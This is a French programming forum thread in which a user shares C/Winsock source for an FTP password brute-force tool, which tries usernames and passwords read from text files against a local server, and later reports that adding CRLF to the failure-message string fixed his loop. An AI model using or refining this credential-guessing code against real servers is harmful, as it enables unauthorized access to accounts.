Probleme avec une boucle do while

Résolu
cs_miki42 Messages postés 23 Date d'inscription vendredi 16 mai 2008 Statut Membre Dernière intervention 24 août 2008 - 13 juil. 2008 à 17:09
cs_miki42 Messages postés 23 Date d'inscription vendredi 16 mai 2008 Statut Membre Dernière intervention 24 août 2008 - 13 juil. 2008 à 19:46
Bonjour a tous,voila je realise un logiciel de brute force ftp ceci etant pour améliorer mon niveau en programation,bref j'ai un probleme sur ma boucle qui est sensé verifier si le pass et bon ou pas le probleme étant que meme si le pass et bon le programme continu la boucle:

#include <stdio.h>
#include <stdlib.h>
#include<winsock2.h>
#include<string.h>


 


int main(int argc, char *argv[])
{
char user[200]={0};
char buffer[200]={0};
char pass[200]={0};
char verification[]="530 Login or password incorrect!";
int i;
FILE *pu;
FILE *pp;
pp=fopen("user.txt","r");//ouverture du fichier texte contenant les nom d'utilisateur
fgets(user,sizeof user,pp);//lecture de la première ligne dans le txt et ecriture dans  user
pu=fopen("pass.txt","r");//ouverture du fichier txt contenant les pass




WSADATA WSAData;
WSAStartup(MAKEWORD(2,0), &WSAData);
SOCKET sock;
SOCKADDR_IN sin;


/* Tout est configuré pour se connecter sur IRC, haarlem, Undernet. */
sock = socket(AF_INET, SOCK_STREAM, 0);//creation d'une soket


sin.sin_addr.s_addr   = inet_addr("192.168.1.4");//parametrage de la soket
sin.sin_family    = AF_INET;
sin.sin_port    = htons(21);
connect(sock, (SOCKADDR *)&sin, sizeof(sin));// connection sur l'hote


recv(sock, buffer, sizeof(buffer), 0);//reception des donnees envoyer par le serveur ftp


printf("%s\n",buffer);


do
{


send(sock, user, sizeof(user), 0);//envoie du premier nom d'utilisateur precede de la commande user


for(i=0;i<200;i++)//boucle pour vider le buffer
{
buffer[i]=0;
}


recv(sock, buffer, sizeof(buffer), 0);


fgets(pass,sizeof pass,pu);//lecture  du fichier txt pass


printf("%s\n",pass);


send(sock, pass, sizeof(pass), 0);//envoi du pass celui-ci etant precedé de la commande pass


for(i=0;i<200;i++)//2eme boucle pour vider le buffer
{
buffer[i]=0;
}


recv(sock, buffer, sizeof(buffer), 0);//reception des données envoyer par le serveur




printf("%s\n",buffer);


strcmp(buffer,verification);//comparaison des deux chaines pour savoir si le pass et correct ou non


}while(strcmp(buffer,verification)==0);//si la chaine buffer et egal à la chaine verification on boucle


 


 


closesocket(sock);
WSACleanup();


 
  system("PAUSE>0"); 
  return 0;
}
si quelqu'un pouvait me dire pourquoi ma boucle ne s'arrete pas merci d'avance

1 réponse

cs_miki42 Messages postés 23 Date d'inscription vendredi 16 mai 2008 Statut Membre Dernière intervention 24 août 2008
13 juil. 2008 à 19:46
Bon je répond moi meme a ma question il semblerai que les commande ftp soit du type CRLF -W il suffisait donc que je rajoute \r\n a la suite de ma chaine contenu dans verification pour que ça marche .
3
Rejoignez-nous